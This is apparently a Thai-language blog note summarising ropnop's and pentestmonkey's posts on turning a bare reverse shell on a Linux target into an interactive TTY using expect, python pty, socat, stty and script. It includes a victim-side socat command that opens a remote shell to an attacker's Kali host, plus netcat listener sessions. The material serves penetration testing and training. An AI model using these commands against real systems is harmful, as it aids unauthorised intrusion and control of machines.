พอดีไปอ่าน blog นี้มาเลยเอามาโน็ตไว้หน่อย กลัวหาไม่เจออีก blog ที่กล่าวถึงคือของ ropnop ซึ่งเค้าพูดถึงปัญหาของเหล่า Penetration Tester ที่มักเจอคือการได้ shell ในระบบที่เป็น Linux มา แต่เป็น shell ที่ใช้ประโยชน์อะไรไม่ค่อยได้ คือมันจะใช้พวก command หลายๆอย่างไม่ได้ เช่น
- การใช้
su
และssh
ไม่ได้ - STDERR (log ที่เกิดจากการทำสิ่งใดๆผิด) จะไม่แสดง
- ใช้ text editor อย่าง
vim
ได้ไม่ดี - กด tab เพื่อทำ autocomplete ไม่ได้
- กดเลื่อนขึ้นดู history ไม่ได้
- ไม่มีการควบคุม job
- etc.
ทีนี้ปัญหามันอยู่ที่ shell นั้นมันไม่ใช่ TTY ไม่ใช่ Interactive shell ดังนั้นมันเลยทำอะไรได้ไม่เท่าไหร่ สิ่งที่ Pentester ทั้งหลายพยายามทำคือการเปลี่ยนไปใช้ Interactive Shell แทน ซึ่งมีวิธีหลายๆวิธีที่ทำได้
(หากใครอยากได้วิธีการใช้ netcat ให้ไปดูที่ link เก่าครับ)
1. การใช้งานผ่านภาษา expect
เราต้นด้วยการสร้างไฟล์ expect ขึ้นมา
1 2 3 4 5 |
#!/usr/bin/expect # Spawn a shell, then allow the user to interact with it. # The new shell will have a good enough TTY to run tools like ssh, su and login spawn sh interact |
จากนั้นรันผ่าน expect เพื่อให้ได้ interactive shell แล้วจึง SSH เข้าเครื่องอีกที
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nc -v -n -l -p 1234 listening on [any] 1234 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 43498 sh: no job control in this shell sh-3.2$ expect sh.exp spawn sh sh-3.2$ ssh localhost ssh localhost Password: mypassword Last login: Wed Jan 16 13:43:20 2008 from 127.0.0.1 user@localhost ~ $ |
2. ใช้ python ในการทำ
เมื่อเข้าไปที่ shell ได้ใช้คำสั่งเป็น
1 |
python -c ‘import pty; pty.spawn(“/bin/sh”)’ |
จะได้ interactive shell เช่นกัน
1 2 3 4 5 6 7 8 9 10 |
$ nc -v -n -l -p 1234 listening on [any] 1234 … sh: no job control in this shell sh-3.2$ su - su: must be run from a terminal sh-3.2$ python -c ‘import pty; pty.spawn(“/bin/sh”)’ sh-3.2$ su - su - Password: localhost ~ # |
3. socat
socat เป็นเครื่องมือที่พยายามมาแทน netcat
โดยที่ฝั่งของ Kali จะใช้เป็น
1 |
socat file:`tty`,raw,echo=0 tcp-listen:4444 |
ที่ฝั่ง Victim ใช้เป็น
1 |
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<KALI IP>:4444 |
4. Upgrade netcat โดยใช้ STTY
เมื่อเราได้ shell จาก netcat ใช้เป็น
1 2 |
python -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z |
การกด Ctrl-z จะทำให้ shell กลายเป็น background process จากนั้นแสดงรายละเอียดของ shell โดยใช้คำสั่ง
1 |
stty -a |
ซึ่งในนั้นเราจะพบ size ของ TTY ที่เราใช้อยู่
set type shell ให้เป็น RAW และบอกให้ echo input character ออกมา โดยใช้คำสั่ง
1 |
stty raw -echo |
จากนั้นนำ process กลับมาโดยใช้คำสั่ง
1 |
fg |
จากนั้นใช้คำสั่ง
1 2 3 4 |
reset export SHELL=bash export TERM=xterm-256color stty rows <num> columns <cols> |
5. กำหนด Environment ของ SHELL
1 |
SHELL=/bin/bash script -q /dev/null |
1 2 3 4 5 6 7 8 9 |
root@kali:/opt/backdoor# nc 172.16.103.148 8080 pwd /home/sumedt id uid=0(root) gid=0(root) groups=0(root) SHELL=/bin/bash script -q /dev/null root@ubuntu:~# su - sumedt su - sumedt sumedt@ubuntu:~$ |
6. ใช้ Expect อีกแบบ
1 |
expect -c 'spawn bash; interact' |
1 2 3 4 |
root@kali:/opt/backdoor# nc 172.16.103.148 8080 expect -c 'spawn bash; interact' spawn bash root@ubuntu:~# |
Source::
- http://pentestmonkey.net/blog/post-exploitation-without-a-tty
- https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
- https://twitter.com/ropnop/status/884928178048860160